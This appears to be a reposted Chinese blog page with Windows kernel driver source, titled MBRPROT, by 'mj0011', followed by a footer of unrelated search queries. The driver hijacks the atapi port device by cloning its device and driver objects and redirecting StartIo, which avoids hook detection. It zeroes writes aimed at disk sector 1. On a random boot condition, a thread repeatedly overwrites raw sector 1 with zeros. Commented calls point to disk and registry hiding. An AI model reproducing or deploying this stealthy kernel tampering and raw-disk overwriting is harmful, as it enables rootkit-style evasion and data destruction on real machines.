MBRPROT -- Object Hijack(Deep disk filter without hook or function replace)

来源:互联网 发布:知是怎么来的 编辑:程序博客网 时间:2024/05/23 16:54
 by mj0011
#include "ntddk.h"
#include "ntifs_48.h"
#include "zwfunc.h"
#include "stdafx.h"
#include "srb.h"

#define MYDEBUG 1

#if MYDEBUG

#define KDMSG(_x_) DbgPrint _x_

#else

#define KDMSG(_x_)

#endif
ULONG oldstartio;
PDRIVER_OBJECT atapi_drv ;



VOID mystartio(  PDEVICE_OBJECT DeviceObject,  PIRP Irp )
{
    PIO_STACK_LOCATION irp_stack ;

    irp_stack = IoGetCurrentIrpStackLocation(Irp);

    if (DeviceObject->DeviceType == FILE_DEVICE_CONTROLLER &&
        irp_stack->DeviceObject &&
        irp_stack->DeviceObject->DeviceType == FILE_DEVICE_DISK &&
        irp_stack->Parameters.Scsi.Srb->Function == SRB_FUNCTION_EXECUTE_SCSI &&
        irp_stack->Parameters.Scsi.Srb->CdbLength == 0xA &&
        (irp_stack->Parameters.Scsi.Srb->SrbFlags & SRB_FLAGS_DATA_OUT) &&
        irp_stack->Parameters.Scsi.Srb->DataBuffer &&
        irp_stack->Parameters.Scsi.Srb->DataTransferLength
        )

    {
        PVOID buf = irp_stack->Parameters.Scsi.Srb->DataBuffer ;
        ULONG len = irp_stack->Parameters.Scsi.Srb->DataTransferLength ;
        ULONG i ;
        PMDL mdl  = Irp->MdlAddress ;


//        KDMSG(("disk device bus read request!lba = %08x , len = %08x/n",
//            irp_stack->Parameters.Scsi.Srb->QueueSortKey ,
//            irp_stack->Parameters.Scsi.Srb->DataTransferLength));


        if (irp_stack->Parameters.Scsi.Srb->QueueSortKey ==  1)
        {
            buf = MmGetSystemAddressForMdl(mdl );
            RtlZeroMemory(buf , len );

        }

        __asm
        {
            push    Irp
            push    DeviceObject
            call    oldstartio
        }



//        HandleAkDiskHide(buf , len );
//        HandleRegHide(buf , len);
        return ;
       
    }
    __asm
    {
        push    Irp
            push    DeviceObject
            call    oldstartio
        }

    return ;
}

BOOL    CheckMemory(PVOID addr , ULONG len)
{
    ULONG i ;
    for (i = (ULONG )addr ; i < (ULONG )addr + len ; i++)
    {
        if (!MmIsAddressValid((PVOID)i))
        {
            return FALSE ;
        }
    }
    return TRUE ;
}
#define DELAY_ONE_MICROSECOND  (-10)
#define DELAY_ONE_MILLISECOND  (DELAY_ONE_MICROSECOND*1000)
#define DELAY_ONE_SECOND        (DELAY_ONE_MILLISECOND*1000)

void DiskProtThread(PVOID xx)
{
    HANDLE FileHandle ;
    NTSTATUS stat ;
    OBJECT_ATTRIBUTES oba ;
    UNICODE_STRING string ;
    IO_STATUS_BLOCK iosb ;

    LARGE_INTEGER interval;
    PVOID pool = ExAllocatePool(NonPagedPool , 0x200);

    if (!pool)
    {
        PsTerminateSystemThread(STATUS_SUCCESS);
        return ;
    }


    interval.QuadPart = (5 * DELAY_ONE_SECOND);      //delay 2 secs

    RtlInitUnicodeString(&string , L"//Device//Harddisk0//DR0" );
    InitializeObjectAttributes(&oba , &string , OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE , 0 , 0 );


    while(TRUE)
    {
        stat = IoCreateFile(&FileHandle ,
            FILE_ALL_ACCESS ,
            &oba ,
            &iosb ,
            NULL,
            FILE_ATTRIBUTE_NORMAL ,
            FILE_SHARE_READ ,
            FILE_OPEN ,
            FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT ,
            NULL,
            0,
            CreateFileTypeNone ,
            0,
            IO_NO_PARAMETER_CHECKING
            );
       
       
       
        if (NT_SUCCESS(stat))
        {

            LARGE_INTEGER offset ;
           
           
            offset.HighPart = 0 ;
            offset.LowPart = 512 ;
           
           
           
            stat = ZwReadFile(FileHandle , 0 , NULL , NULL ,
                &iosb ,
                pool ,
                512 ,
                &offset ,
                0
                );
           
            if (NT_SUCCESS(stat))
            {
                ULONG i ;
                BOOL nonzero = FALSE ;
               
                for (i = 0 ; i < 512 ; i++)
                {
                    if (*(BYTE*)((ULONG)pool + i) != 0)
                    {
                        nonzero = TRUE ;
                        break ;
                    }
                }
               
                if (nonzero)
                {
                    RtlZeroMemory(pool , 512);
                    ZwWriteFile(FileHandle , 0 , NULL , NULL ,
                        &iosb ,
                        pool ,
                        512 ,
                        &offset ,
                        0
                        );
                }
               
               
               
            }
            ZwClose(FileHandle);
           
           
    }       
        KeDelayExecutionThread(KernelMode , FALSE , &interval);

    }




   
}

NTSTATUS DriverEntry(PDRIVER_OBJECT drvobj , PUNICODE_STRING regpath)
{
    UNICODE_STRING uniname ;
    NTSTATUS stat ;


//    drvobj->DriverUnload = (PDRIVER_UNLOAD )unload ;

    LARGE_INTEGER current_time ;
    BOOL HookPort = FALSE  ;

    KeQuerySystemTime(¤t_time);


    if ((current_time.LowPart / 10 )* 10 == current_time.LowPart )
    {
        HookPort = TRUE ;
    }

    RtlInitUnicodeString(&uniname , L"//Driver//Atapi");

    stat = ObReferenceObjectByName(&uniname ,
        OBJ_CASE_INSENSITIVE ,
        NULL ,
        0,
        *IoDriverObjectType ,
        KernelMode ,
        NULL ,
        (PVOID*)&atapi_drv);

    if (!NT_SUCCESS(stat))
    {
//        KDMSG(("get atapi drvobj failed , stat = %08x/n" , stat));
        return stat ;
    }

    ObDereferenceObject(atapi_drv );

    {
        PDEVICE_OBJECT devobj ;

        devobj = atapi_drv->DeviceObject ;

        while(devobj)
        {
            if (devobj->DeviceType == FILE_DEVICE_DISK &&
                (devobj->Characteristics & FILE_REMOVABLE_MEDIA) == 0 )
            {
                if (devobj->DeviceExtension)
                {
                    ULONG ext = devobj->DeviceExtension ;
                    if (CheckMemory((PVOID)(ext + 0x5c) , sizeof(ULONG)))
                    {
                        ULONG ext_sp1 = *(ULONG*)(ext + 0x5c);

                        if (ext_sp1 && CheckMemory((PVOID)(ext_sp1 + 0xc) , sizeof(ULONG)))
                        {
                            PDEVICE_OBJECT port_device = (PDEVICE_OBJECT)(*(ULONG*)(ext_sp1 + 0xc));

                            if (port_device &&
                                port_device->DeviceType == FILE_DEVICE_CONTROLLER &&
                                port_device->DriverObject == atapi_drv)
                            {
                                PVOID pobj1 = ExAllocatePool(NonPagedPool , port_device->Size + 0x18);
                                PVOID pobj2 = ExAllocatePool(NonPagedPool , atapi_drv->Size + 0x18);
                                PDEVICE_OBJECT pFakeDevice = (PDEVICE_OBJECT)((ULONG)pobj1 + 0x18);
                                PDRIVER_OBJECT  pFakeDriver = (PDRIVER_OBJECT)((ULONG)pobj2 + 0x18);
                                KSPIN_LOCK SpinLock ;
                                KIRQL OldIrql ;

                                if (!pFakeDevice || !pFakeDriver)
                                {
                                    if (pFakeDriver )
                                        ExFreePool(pFakeDriver);
                                    if (pFakeDevice)
                                        ExFreePool(pFakeDevice);

                                    return STATUS_UNSUCCESSFUL ;
                                }

                                RtlCopyMemory(pobj1 , (PVOID)((ULONG)port_device - 0x18)  , port_device->Size + 0x18);
                               RtlCopyMemory(pobj2 ,(PVOID)((ULONG)port_device->DriverObject - 0x18)  ,port_device->DriverObject->Size + 0x18);
                               
                                pFakeDevice->DriverObject = pFakeDriver ;
                               
                                if (IsListEmpty(&port_device->DeviceQueue.DeviceListHead))
                                {
                                  pFakeDevice->DeviceQueue.DeviceListHead.Blink =&pFakeDevice->DeviceQueue.DeviceListHead;
                                   pFakeDevice->DeviceQueue.DeviceListHead.Flink =&pFakeDevice->DeviceQueue.DeviceListHead ;
                                }
                                oldstartio = pFakeDriver->DriverStartIo ;
                                pFakeDriver->DriverStartIo = mystartio ;

                               
                                KeInitializeSpinLock(&SpinLock);
                                KeAcquireSpinLock(&SpinLock , &OldIrql);
                                *(ULONG*)(ext_sp1 + 0xc) = (ULONG)pFakeDevice ;
                                KeReleaseSpinLock(&SpinLock , OldIrql);

                                if (HookPort)
                                {
                                    HANDLE threadhandle ;
                                    OBJECT_ATTRIBUTES oba ;
                                   
                                    InitializeObjectAttributes(&oba, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
                                    PsCreateSystemThread(&threadhandle ,
                                        THREAD_ALL_ACCESS ,
                                        &oba ,
                                        NULL,
                                        NULL,
                                        DiskProtThread ,
                                        NULL
                                        );
                                }

                                return STATUS_SUCCESS ;
                               
                            }

                        }
                    }
                }
            }

            devobj = devobj->NextDevice ;
        }
    }


    return STATUS_UNSUCCESSFUL ;
}
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 撞车不严重逃逸怎么办 被执行人没有财产执行怎么办 挖到人头了怎么办 取保保证金不退怎么办 被诬陷经济诈骗怎么办 醉驾刑事拘留后怎么办 被别人举报赌博怎么办 涉黄刑事拘留怎么办取保候审 换了车牌保险怎么办 车辆转让后保险怎么办 立案后警察不管怎么办 打架后对方讹人怎么办 工商被恶意举报怎么办 店铺被工商举报怎么办 被买单侠恐吓怎么办? 团伙作案刑事拘留怎么办取保 欢乐麻将老输怎么办 回不了家怎么办身份证 没注意闯红灯了怎么办 摩托车被套牌了怎么办? 发现员工偷钱怎么办 盗窃刑事拘留7天怎么办 盗窃抓不到人怎么办 发现宿舍被盗后怎么办(  ) 发现宿舍被盗后怎么办() 回收到赃物电瓶怎么办 不知情买了赃物怎么办 盗窃单位要报警怎么办 上网吸烟被逮住怎么办 有人在微信骂我怎么办 网吧抽烟被拍照怎么办 诈骗被拘留该怎么办 行政拘留人跑了怎么办 车牌号被偷了怎么办 当员工提出辞职怎么办 老员工提出辞职怎么办 家人进看守所了怎么办 被贷款中介诈骗怎么办 喝完酒吐难受怎么办 犯罪嫌疑人死在看守所怎么办 犯罪嫌疑人死不承认怎么办